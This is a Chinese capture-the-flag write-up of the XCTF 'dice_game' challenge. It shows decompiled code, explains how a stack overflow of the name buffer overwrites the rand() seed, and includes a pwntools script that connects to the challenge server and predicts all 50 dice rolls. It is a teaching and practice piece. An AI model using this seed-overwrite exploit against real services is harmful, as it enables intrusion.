题目链接:攻防世界 (xctf.org.cn)
文件分析
checksec检查看到没有开启canary保护
然后放到IDA里去看
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h] BYREF
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ");
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v5 )
{
if ( v8 == 50 )
{
sub_B28(buf);
break;
}
++v8;
}
}
puts("Bye bye!");
return 0LL;
}
if(v8==50)会执行sub_B28(buf),这个函数里看到了flag文件,最终目标是它
int __fastcall sub_B28(const char *a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
FILE *stream; // [rsp+78h] [rbp-8h]
printf("Congrats %s\n", a1);
stream = fopen("flag", "r");
fgets(s, 100, stream);
puts(s);
return fflush(stdout);
}
执行该函数需要v5为真50次
__int64 sub_A20()
{
__int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h] BYREF
__int16 v2; // [rsp+Eh] [rbp-2h]
printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}
查看v5的值来源,给v5赋值的函数是一个猜数过程,猜对即可。也就是说需要连续猜对50次才行,所以需要利用栈内的偏移将随机数覆盖掉,这样的随机数就是“已知”的了
观察存放伪随机数的seed与buf之间偏移为0x40,而buf是可以在输入name的时候控制内容,而输入限制了0x50个,可以利用buf溢出来偏移到seed上,覆盖掉seed后就可以自己生成一样的伪随机数了
exp
from pwn import *
from ctypes import *
p=remote('61.147.171.105' ,61562)
libc=cdll.LoadLibrary("libc.so.6")
payload = 'a'*0x40+p64(1)
p.sendlineafter("name: ", payload)
res=[]
for i in range(50):
res.append(libc.rand()%6+1)
print res
for a in res:
p.sendlineafter("point(1~6): ", str(a))
p.interactive()
留个点,随机数的生成这里没搞太懂